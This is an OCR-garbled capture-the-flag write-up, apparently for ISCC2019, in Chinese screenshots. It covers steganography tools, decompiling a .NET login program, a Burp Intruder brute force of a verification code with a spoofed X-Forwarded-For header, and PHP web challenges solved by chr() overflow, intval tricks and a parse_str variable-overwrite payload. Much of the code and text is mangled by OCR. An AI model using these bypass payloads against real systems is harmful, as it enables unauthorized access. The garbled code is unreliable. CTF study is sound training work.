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IE(F) HRIE(E) 1BE(0) BE(V) EEN(H)
b126 062 0126 0163 0142 0103 0102 0153 0142 062 065
0154 0111 0121 01570113 0111 0105 0132 0163 0131 0127
0143 066 0111 0105 0154 0124 0121 060 0116 067 0124
0152 0102 0146 0115 0107 065 0154 0130 062 0116 0150
0142 0154 071 0172 0144 0104 0102 0167 0130 063 0153
0167 0144 0130 060 0113
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R %15 2lflag
NEINERRE MD5hn=/a2% URLpO= ISpo/aR= ISEBIEEE ESCAPEIN/EE%= BASEG4 BIEI/ AR HE, BE, RERURLIDERS
Well done! V2VsbCBkb25I1QoKIEZsYWCSIEITQON7TBfMGSIX2Nhbl9zd DBwX 3kwdXOK
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~# binwalk /root/Misc-81.jpg

HEXADECIMAL DESCRIPTION

0x485F Zip archive data, at lea .0 to extra name:

0x4884 Zip at least v2.0 to extra compre

8, uncompre size: , e: QRcode/1.png

Ox4BF4 at least vz.E ex compre
878, uncompresse 873, name: QRcode/18.png

0x4F8 archive data, at least v2.0 to ex compre
816, uncompre 811, name: QRcode/11l.png
archive data, at least v2.E extr compre
839, uncompressed size: 834, name: QRcode/12.png

Ox565A 7ip archive data, at least v2.0 to extract, compre
799, uncompressed size: 794, name: QRcode/13.png

0x59A4 7ip archive data, at least v2.E extract, compre
863, uncompressed size: 858, name: QRco 14.png

0x5D2E 7ip archive data, at least v2.0 to extract, compre
819, uncompressed size: 814, name: QRcode/15.png

@x608C 7ip archive data, at least v2.E extract, compre
877, uncompressed size: 872, name: QRcode/16.png

0x6424 7ip archive data,
RAMN 1nramnreccar i7e: RR5 name-: NReonrde /17

w
[V = = N
'_l
i ]

(]

Ox52E8

¥, B S ]

A MR WM

ff 4515 21504 — 4L B

root@zsm: ~ e ® O
MH(F) $RIB(E) EB(V) HEER(S) LT FHEh(H)

:~# unzip '/root/Misc-01.jpg'
Archive: /root/Misc-01.]jpg
warning [/root/Misc-01.jpg]: 18527 extra bytes at beginning or within zipfile

(attempting to process anyway)
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Bit Planes Order settings
Alpha []7 6 [J5 []4 [J3 LJ2 1 [LJo Extract By ® Row (U Column
Red []7 []6 []5 14 []3 02 []1 #0 Bit Order ® MSB First () LSB First
Green [ |7 [ ]88 []5 []4 []3 [ ]2 []1 [v0
Bit Plane Order
Blue []7 []6 []5 []4 [J3 [J2 []1 40 ® RGB () GRB
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https://www.zhaoj.in/wp-content/uploads/2019/05/1558446460ad65669032cbb047ef5d6aa385d20ab3.zip
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> ¥EAYEAE > Desktop » ISCC2019 » misc > 1558446460ad65669032cbb047ef5d6aa385d20ab3
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Score_List.exe 2019/2/18 21:49  [WFEIER 12 KB
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Login

Username: ‘324 |

Password: ‘*** |

Cuncl

Error! >

@ Username or Password is incorrect, please try again
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EESERE: 480 _
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mscorlib (4.0.0.0)

System (4.0.0.0)

System.Core (4.0.0.0)
System.Xml (4.0.0.0)
System.Xaml (4.0.0.0)
WindowsBase (4.0.0.0)
PresentationCore (4.0.0.0)
PresentationFramework (4.0.0.0)

Score List (1.0.0.0)
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{} Score List

{} Score List.Properties

- c#80/vs2019 -~ 2l Wl ~

using |.. .|

[assembly:
[assembly:
[assembly:
[assembly:
[assembly:
[assembly:
[assembly:
[assembly:
[assembly:
[assembly:
[assembly:
[assembly:
[assembly:
[assembly:
[assembly:

// C:\Users\IhhBiZE35\Desktop\ISCC2019\misc\1558446460ac
// Score_ List, Version=1.0.0.0, Culture=neutral, Publick
// Global type: <Module>

// Entry point: Score_List.Program.Main

// Architecture: AnyCPU (32-bit preferred)

// Runtime: v4.0.38319

// Hash algorithm: SHA1

CompilationRelaxations(8)]
RuntimeCompatibility(WrapNonExceptionThrows =
Debuggable(DebuggableAttribute.DebuggingModes
AssemblyTitle(".NET 4.6.1")]
AssemblyDescription("_.MNET 4.6.1")]
AssemblyConfiguration("")]
AssemblyCompany("")]
AssemblyProduct("Score_List")]
AssemblyCopyright("ISCC")]
AssemblyTrademark("")]

ComVisible(false)]
Guid("cf8ed583-fb9c-4caa-941f-30c35a6e62df") ]
AssemblyFileVersion("1.0.8.0")]
TargetFramework(" .NETFramework,Version=v4.6.1
AssemblyVersion("1.0.08.0")]
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https://github.com/icsharpcode/ILSpy/releases
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QO P2 AR c ~c#80/vs2019 ~ 4] [l ~

ri4 - float ~ /[ Score_List.score list

15 : float private bool checkUsername()
r16: float

r17 : float

r18: float

r19: float

r20 : float

r21: float

r22 : float

r23 : float

r24 : float

r25 : float

r26 : float

r27 : float

r28 : float

r29 : float

txtPassword : TextBox
txtUsername : TextBox
score_list()

btnCancel Click(object, Event;
btnLogin_Click(object, EventA
checkPassword() : bool

{
T return txtUsername.Text == "admin";
¥

checkUsername() : bool
Dispose(bool) : void
InitializeComponent() : void
showError() : void

12122333 P2 LLLAALLLLLLLALLLNLNS

< >

«4 ILSpy - O X
) HE(V)  FEEL(H)
QU B @&mc - c#80/vs2019 ~ |3 Wl P

& r14:float ~ ist

& r15:float sword()
& ri6:float

& r7:float

@ r8:float

& r19:float

& r20:float

& r21:float

& 22 :float

& 23 :float

& 24 :float

&% r25:float

& 26 float

¥ r27 : float

¥ r28:float

&% r29:float

&% txtPassword : TextBox

? txtUsername : TextBox

=@ score list()

# btnCancel Click(object, EventArgs) : void
# btnLogin Click{object, EventArgs) : void
checkPassword() : bool

checkUsername() : bool

Dispose(bool) : void
InitializeComponent() : void

showError() : void
showLoginCountExceeded() : void S IOG Lot NS UTWE

li{;z‘.Text == "ISCCq19pc1Yhb6SqtGhliYH688TeCH71qQxtfa2MpOdONWIwmIleBodTW5Nn";
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Username: ‘a&min |

Fassword: ‘ ""*t|
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EREME: hitp://39.100.83.188:8002
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< > G ©® 422 39.100.83.188:8002

2 A e EE—T, {FEENE 2218 EE=ZsHE
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FAF4E: admin |

AR \ ‘

SIERS: | |

#koe

XERRB T —AMRUMLLEBE: https:/blog.csdn.net/dongyanwen6036/article/details/77921407

B3 & Bl &vcode= MPHPSESSID= & H I EEM Tt 5id 7 RAIERS (RIFSF7ESESSIONH, J& &K%
WAE RIS ok 27 /2 75 77 E SESSION)
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https://blog.csdn.net/dongyanwen6036/article/details/77921407

[#] Request to hitp://39.100.83.188:8002

L Forward J l_ Drop | | Interceptison | Action
JRaw T Params THeaders I Hex ]

POST Jlogin.php HTTP/1 1

Host: 39.100.83.188:8002

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhiml+xml,application/xml;q=0.9,**,q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Refere pripa5—+06-89-+86:806 2y
Cookief PHPSESSID=tumvhvahlev2884mmlj3593135
DMNT: 1
X-Forwarded-For: 127.0.0.1

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded
Content-Length: 50

username=admin&pwd=232Ruser_code=9f4RLogin=submit

MERIX BRI P HE, BARREIUE, JERHERELHEIRTARKIEDE R BLIEHRIBMETT T

POST /login.php HTTR/1.1 A
Host: 39.100.83.188:8002 -
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4, rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xmil,application/xml;q=0.9,"/*,g=0.8

Accept-Language: zh-CM,zh;q=0.8 en-US;q=0 5 en;q=0.3

Accept-Encoding: gzip, deflate
Referer_aitn 439 08 88800
Cookie:
DNT:1
X-Forwarded-For: 127.0.0.1

Connection: close

Upgrade-Insecure-Reguests: 1

Content-Type: application/x-www-form-urlencoded
Content-Length: 46

usermname :admm&pwdzzzz

Login=submit ‘

BAZBENFNRBTENERZ. . - 996

HTTP/M1.1 200 OK

Date: Thu, 02 May 2019 01:53:32 GMT

Server: Apache/2.4.7 (Ubuntu)

X-Powered-By: PHP/5.5.9-1ubuntu4.24

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Content-Length: 12

Connection: close

Content-Type: text/html

Ef%ﬁ&l!!ﬁ




W Intruder attack 1 - O X

Attack Save Columns

Results TTarget T Puositions T Payloads TOptions ]

| Filter: Showing all items ‘ E:[
Request Payload | Status Error Timeout Length & Comment
883 952 200 | ] [} 337 F1
gg4 993 200 @] =] 337 a
885 994 200 O g 337
886 995 200 (] g 337
888 997 200 O (0] 337
889 998 200 O [ 337
890 999 200 (] g 337
891 990 200 =) = 337
§92 901 200 =) (™) 33v
893 902 200 O g 337
894 903 200 O ] 337
887 | 996 200 El (346 v

[ Request T R_g_ﬁppn;.g. ]

_[R,a_w_.T Headers T Hex ]

HTTP/1.1 200 OK L;
Date: Thu, 02 May 2019 09:12:13 GMT

Server: Apache/2.4.7 (Ubuntu)

X-Powered-By: PHP/5.5.9-1ubuntu4.24

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Content-Length: 21

Connection: close

Content-Type: text/html|

flag is flag{996_ICU}

I
l 7 || < + ] i Type a search term 0 matches

894 of 1001
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€ @ 39.100.83.188:8001 B ¢ @ Qrx e ¢ A@ s e-

INT v = @ SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-
@& Load URL http://39.100.83.188:8001
% split URL
¥ Execute
[ Postdata [ ] Referrer 4 OxHEX ¥ €K %URL 3 X BASE64A B Insert string to replac| | Insert replacing string Replace All E
{?php

error_reporting(0) ;

require ’flag. php ;

$value = $_GET[ value’];
Spassword $_GET[ password’ 1;
Susername g

for (§i = 0; $i < count($value); ++$i) {
if  ($valuel[$i] > 32 && S$value[$i]l < 127) unset(Svalue);

else Susername .= chr($valuel$il);
if ($username == 'w3lcOme_To_ISCC2019° && intval(Spassword) < 2333 &% intval($password + 1) » 2333) (

echo “Helle ’.$username.’!”, “<br>, PHP EOL;
echo $flag, <hr» ;

}

highlight file( FILE );

YEARED:

<?php

error_reporting(0);

require 'flag.php';

$value = $_GET['value'];
$password = $_GET[ 'password'];

$username = "

for ($i = 0; $i < count($value); ++$i) {
if ($value[$i] > 32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);
if ($username == 'w3lc@Ome_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {

echo 'Hello '.$username.'!', '<br>', PHP_EOL;
echo $flag, '<hr>';

highlight_file(__FILE_ );

KEBHMRAES T flag.phpXXfF, REB=ASH, HbvalueS B ERREAEI22127+ 8, WL RNEEEE
Fascllfgf{E . sRJEpasswordZ ¥ T intval()75 ¥ 5 i 2 A &t 8 2lflag.

XEHWANEIT:
(1) chrif $7E H i < B 3 B 256, B LAFRATT R & Z 7L JR A asciifg B Al - +256 ) A]
(2) intval()7E 4L 2 162 il I 77 7E ) 73, {5 55 i1l #% e i i IE 5 1)
Bt BAIX AN R ) payload & :
http://39.100.83.188:8001/index.php? value[]=375&value[]=307&value[]=364&value[]=355&value[]=304 &value|

k

< | i |




€ © 39.100.83.188:8001/indexphp?valuell=375&value]=307&valuc [l #» v & @ Q 2% wBE ¥ AO s e- W > & M-&Q 9 O N g ©

INT ~ = & SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-
@l Load URL http://39.100.83.188:8001/index.php?value[]=3758&value[] =307 &value[]= 364 lue[]=3558&value[] lue[]=365&value[]=357&value[]=351&value[]=340&value[] =367 &value[]=351&value[] =329&value[] =339&value[]=323 -
§ SplitURL &wvalue[]=3238&value[]=306&value[]=304&value[]=305&value[]=313&password =2332e1 ®
’ Execute

[ Postdata [ Referrer 4 OxHEX M» @& %URL ¥» X BASE64 I ‘/ﬂserrsrr/'ng to replace| | Insert replacing 5rrmg| Replace All 3 =
€ ® 39.100.83.188:8001/index.php?value[] =375&value[]=3078&value [l »» ¢ @ Q@F WwE ¥ AP s e- B - & -8 9 O N & & =
INT ~ = & SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-
@l Load URL http://39.100.83.188:8001/index.php?value[]=3758&value[] =307 &value[]= 364 lue[]=3558&value[] lue[]=365&value[]=357&value[]=351&value[]=340&value[] =367 &value[]=351&value[] =329&value[] =339&value[]=323 -
% Split URL &value[]=323&value[]=3068&value[]=3048&value[]=305&value[]=313&password=2332e1 L]
’ Execute

Insert replacing string| Replace All 3B =

[0 Postdata [ Referrer @K OxHEX B @K %URL 3B @K BASE64 M | nsert string to replace

Hello w3lcOme To _ISCC2019!
flag{8311873e241ccad54463eaa5d4efc1e9}

{?php

error_reporting(0) ;

require ’flag. php ;

$value = $ GET[ value'];
$password = $_GET[ password ];

S$username = :

for (3i = 0; $i < count($value); ++8i) {
if ($valuel$i] > 32 && $value[$i] < 127) unset($value):
else Susername .= chr($value[$il);
if (Susername == ’w3lcOme_To_ISCC2019° && intval($password) < 2333 && intval($password + 1) > 2333) {
echo ’'Hello ’.S$username.’!’, ’<br>', PHP EOL;
echo $flag, “<hry’:

}

highlight_file(_FILE_);

web4
150

1319 solves

Bkt http://39.100.83.188:8066

Flag

3z

T R BphplRAg R -



- C O A=%| 39.100.83.188:8066

i RMA & SE—F, (AR z2TE EEZe=E IEERLS e =)

il

<Sphp
error_reporting (0);
include("flagz. php™) ;
$hashed key = ~ddbafb4eh809e218701472d3fAc0E7IdET119dfddEA0f0d1fcheT485b0f eaalba’ |
parsed = parse_url(} SERVER[’ REQUEST URI' 1)
if(izset($parsed[ query”])) |
fquery =  Iparsed[”querv”]
fparsed query = parse_str ($querv) .
1f($parsed query!=NULL) {
action = 3Jparsed_gquerv[ action ];
}
if{$action==="auth”) {
$key = F GET["key”]:
$hached_input = hash( sha2668", Jkev);
1f($hashed_input!==%hashed_kev) {
die("¢img sre= cxk. jpg’ »7);

}
echo  Jflag;
}
telse{
show_source (_ FILE_ ).
19
TR
<?php

error_reporting(0);
include("flag.php");
$hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482bofeead5a’ ;
$parsed = parse_url($_SERVER[ 'REQUEST_URI']);
if(isset($parsed["query"])){

$query = $parsed["query"];

$parsed_query = parse_str($query);

if($parsed_query!=NULL){

$action = $parsed_query['action'];

if($action==="auth"){
$key = $_GET["key"];
$hashed_input = hash('sha256', $key);
if($hashed_input!==$hashed_key){
die("<img src="cxk.jpg'>");

}
echo $flag;
)
Yelse{
show_source(__FILE_ );

32>

XEFREET—T, KMEERELYRIEANRNSE T action & auth, 3£ H key fl hashed_key KB &,
e flag.



XER LB — /N EE B B3 parse_str, BAREHRIER https://www.php.net/manual/zh/function.parse-
str.php

WAL NKIR query_string (FEfnfirst=value&arr[]=foo+bar&arr[]=baz ) , BMaMLKkHBETNZE (RETE
first=value, arr[0]=foo bar, arr[1]=baz)

PO AR R, BATAT LR BEE T, EEK hashed_key B & ARMNBEMER W, XERERE
& m sha256(“swzaq”) = 07e599430c991fd44f41e7658b8816143ba7ce316c3a503291bacc82f1b569ee

BB3Z:
swzaq
3
BRIEHEE:
HmacSHA1 HmacSHAZ224 HmacSHA256 HmacSHA384 HmacSHAS12 HmacMD5 PBKDF2
IBFE

07e599430c991fd4441e7658b8816143ba7ce316c3a503291bacc82f1b569ee

payload 1 :

/?action=auth&key=swzaq&hashed_key=07e599430c991fd44f41e7658b8816143ba7ce316c3a503291bacc82f1b569¢ee

&« C @ F#&£| 39.100.83.188:8066/7action=auth&key=swzaq8hashed key=07e599430c991fd44f41e7658b8816143ba7ce316c3a503291bacc82f1b569ee
BOmE W BEE—T, fmEae Z2TE EEZ2E e WEFES TR BRI A el T{FrrEg BRI tLERIRET

flag{7he_real f1@g_15 4ere}


https://www.php.net/manual/zh/function.parse-str.php
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